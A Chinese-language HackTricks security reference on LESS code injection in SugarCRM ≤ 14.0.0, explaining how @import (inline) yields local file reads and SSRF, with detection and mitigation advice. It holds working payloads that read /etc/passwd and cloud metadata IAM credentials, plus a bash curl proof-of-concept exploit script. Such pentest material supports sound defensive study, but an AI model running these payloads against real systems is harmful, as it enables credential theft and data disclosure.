LESS 代码注入导致 SSRF 和本地文件读取
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
概述
LESS 是一种流行的 CSS 预处理器,添加了变量、混合、函数和强大的 @import
指令。在编译过程中,LESS 引擎将 获取 @import
语句中引用的资源,并在使用 (inline)
选项时将其内容嵌入(“内联”)到生成的 CSS 中。
当一个应用程序将 用户控制的输入 连接到一个字符串中,该字符串随后被 LESS 编译器解析时,攻击者可以 注入任意 LESS 代码。通过滥用 @import (inline)
,攻击者可以强迫服务器检索:
- 通过
file://
协议的本地文件(信息泄露 / 本地文件包含)。 - 内部网络或云元数据服务上的远程资源(SSRF)。
这种技术已在现实世界的产品中出现,例如 SugarCRM ≤ 14.0.0(/rest/v10/css/preview
端点)。
利用
- 识别一个直接嵌入在 LESS 引擎处理的样式表字符串中的参数(例如,SugarCRM 中的
?lm=
)。 - 关闭当前语句并注入新指令。最常见的原语是:
;
– 终止前一个声明。}
– 关闭前一个块(如果需要)。
- 使用
@import (inline) '<URL>';
读取任意资源。 - 可选地在导入后注入一个 标记(
data:
URI),以便于从编译的 CSS 中提取获取的内容。
本地文件读取
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
/etc/passwd
的内容将在 HTTP 响应中出现在 @@END@@
标记之前。
SSRF – 云元数据
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
自动化 PoC (SugarCRM 示例)
bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
检测
- 寻找包含未清理查询参数的动态生成的
.less
或.css
响应。 - 在代码审查中,搜索传递给 LESS 渲染函数的构造,如
"@media all { .preview { ... ${userInput} ... } }"
。 - 利用尝试通常包括
@import
、(inline)
、file://
、http://169.254.169.254
等。
缓解措施
- 不要 将不可信的数据传递给 LESS 编译器。
- 如果需要动态值,正确地 转义/清理它们(例如,限制为数字标记,白名单)。
- 尽可能禁用使用
(inline)
导入的能力,或将允许的协议限制为https
。 - 保持依赖项更新 – SugarCRM 在版本 13.0.4 和 14.0.1 中修复了此问题。
现实案例
产品 | 漏洞端点 | 影响 |
---|---|---|
SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | 未经身份验证的 SSRF 和本地文件读取 |
参考
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。